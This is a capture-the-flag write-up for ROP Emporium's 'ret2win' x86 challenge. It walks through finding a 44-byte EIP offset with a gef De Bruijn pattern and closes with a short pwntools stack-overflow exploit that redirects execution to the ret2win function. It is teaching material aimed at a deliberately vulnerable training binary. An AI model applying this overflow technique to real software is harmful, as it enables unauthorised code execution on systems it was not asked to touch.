ROP : ret2win (x86)
Table of Contents
For the x86 version of the challenge, we can see that the program contains the following functions :
gef➤ info functions
All defined functions:
Non-debugging symbols:
0x08048374 _init
0x080483b0 read@plt
0x080483c0 printf@plt
0x080483d0 puts@plt
0x080483e0 system@plt
0x080483f0 __libc_start_main@plt
0x08048400 setvbuf@plt
0x08048410 memset@plt
0x08048420 __gmon_start__@plt
0x08048430 _start
0x08048470 _dl_relocate_static_pie
0x08048480 __x86.get_pc_thunk.bx
0x08048490 deregister_tm_clones
0x080484d0 register_tm_clones
0x08048510 __do_global_dtors_aux
0x08048540 frame_dummy
0x08048546 main
0x080485ad pwnme
0x0804862c ret2win
0x08048660 __libc_csu_init
0x080486c0 __libc_csu_fini
0x080486c4 _fini
We get a bunch of not-so-interesting functions, as well as a main
, pwnme
and ret2win
function. They are used for the following :
main (0x08048546)
: nothing much except calling for the pwnme functionpwnme (0x080485ad)
: get the user inputret2win (0x0804862c)
: target, prints the flag
Here’s how the pwnme
function looks in Ghidra :
void pwnme(void)
{
undefined input [40];
memset(input,0,0x20);
puts(
"For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffe r!"
);
puts("What could possibly go wrong?");
puts(
"You there, may I have your input please? And don\'t worry about null bytes, we\'re using read ()!\n"
);
printf("> ");
read(0,input,0x38);
puts("Thank you!");
return;
}
Now, we know that we’ll have to overwrite the eip
register in order to make it point to 0x0804862c
.
To find the offset, we can use a De Bruijn sequence in order to find the offset that we’ll have to pass to our program in order to overwrite that register. Let’s do it in gdb :
gef➤ pattern create 100
[+] Generating a pattern of 100 bytes (n=4)
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
[+] Saved as '$_gef0'
Now, we insert a breakpoint right after the read
function, and pass our sequence to see how it looks on the stack.
gef➤ b *0x08048616
Breakpoint 1 at 0x8048616
gef➤ r
Starting program: /home/dalf/ctf/ctf-writeups/ropemporium/ret2win/ret2win32
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
ret2win by ROP Emporium
x86
For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!
> aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
With our input, the registers looks like this :
────────────────────────────────────────────────── registers ──────────────────────────────────────────────────
$eax : 0xb
$ebx : 0xf7fab000 → 0x00229dac
$ecx : 0xf7fac9b4 → 0x00000000
$edx : 0x1
$esp : 0xffffd460 → 0x6161616d ("maaa"?)
$ebp : 0x6161616b ("kaaa"?)
$esi : 0xffffd534 → 0xffffd687 → "/home/dalf/ctf/ctf-writeups/ropemporium/ret2win/re[...]"
$edi : 0xf7ffcb80 → 0x00000000
$eip : 0x6161616c ("laaa"?)
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63
As we can see, our $eip was overwritten with the value 0x6161616c
. To find the offset, we can use the gef command pattern offset
with the content of it (0x6161616c).
gef➤ pattern offset 0x6161616c
[+] Searching for '6c616161'/'6161616c' with period=4
[+] Found at offset 44 (little-endian search) likely
We now have the info that we were looking for, the offset is 44 bytes away. Now we can build our exploit:
from pwn import *
target = process('./ret2win32')
payload = b""
payload += b"A"*44
payload += p32(0x0804862c)
target.sendline(payload)
target.interactive()
… and run it :
Well done! Here's your flag:
ROPE{a_placeholder_32byte_flag!}
VAMONOS